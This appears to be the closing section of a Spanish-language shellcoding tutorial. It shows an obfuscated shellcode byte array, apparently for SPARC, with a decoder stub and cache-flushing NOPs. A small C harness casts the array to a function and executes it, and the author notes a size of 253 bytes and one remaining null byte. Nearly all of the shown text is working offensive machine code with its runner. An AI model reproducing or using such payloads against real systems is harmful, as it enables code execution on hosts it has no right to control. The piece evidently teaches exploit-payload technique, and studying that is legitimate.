"\xa4\x04\xa0\x01\xa8\x25\x20\x02\xe8\x2c\x40\x05\x80\xa4\xa0\xc4" "\x04\xbf\xff\xfb\xa2\x04\x60\x01\x8b\xc3\xe0\x08\xa4\x1c\x80\x12" "\x7f\xff\xff\xf6\x8a\x19\x40\x05" /* * NOPs por la i-cache */ "\x03\x02\x02\x02\x03\x02\x02\x02" /* * shellcode ofuscada */ "\x9f\xe5\xc1\x82\xa2\x12\x22\x04\xa4\x12\x22\x03\xe2\x25\xa2\x46" "\xe4\x25\xa2\x4a\xc2\x25\xa2\x4e\x92\x12\x22\x03\x94\x05\xa2\x46" "\x84\x12\x22\xd0\x93\xd2\x22\x12\xd2\x29\xc1\xfe\xe2\x39\xc1\xea" "\x92\x12\x26\x66\xd2\x39\xc1\xec\xc2\x29\xc1\xee\xd2\x09\xc1\xfe" "\xa4\x09\xc1\xea\x96\x12\x22\x12\xd2\x25\xa2\x46\xe4\x25\xa2\x4a" "\xd6\x25\xa2\x4e\x92\x12\x22\x04\x93\xd2\x22\x12\xa4\x12\x22\x03" "\x92\x12\x22\x06\x93\xd2\x22\x12\x96\x09\xc1\xfe\xd6\x25\xa2\x4e" "\x92\x12\x22\x07\x93\xd2\x22\x12\x94\x12\x22\x05\xd2\x29\xc1\xfa" "\x94\x24\x62\x03\x84\x12\x22\x5c\x93\xd2\x22\x12\x82\xa4\x62\x03" "\x18\xc1\x01\xfe\xd2\x09\xc1\xfa\x92\x1c\x42\x0b\x84\x12\x22\x80" "\x93\xd2\x22\x12\x23\x0d\xda\x9c\xa2\x16\x23\x70\x25\x0d\xde\xdc" "\x92\x0d\x82\x10\x84\x12\x22\x0d\x93\xd2\x22\x12"; int main() { int i; int (*f)() = (int (*)()) sc; printf("len = %d\n", sizeof(sc)); (int)(*f)(); exit(0); } Tamaño: 253 bytes. Problema: hay 1 nulo. 7.- Despedida Gracias y un saludo. EOF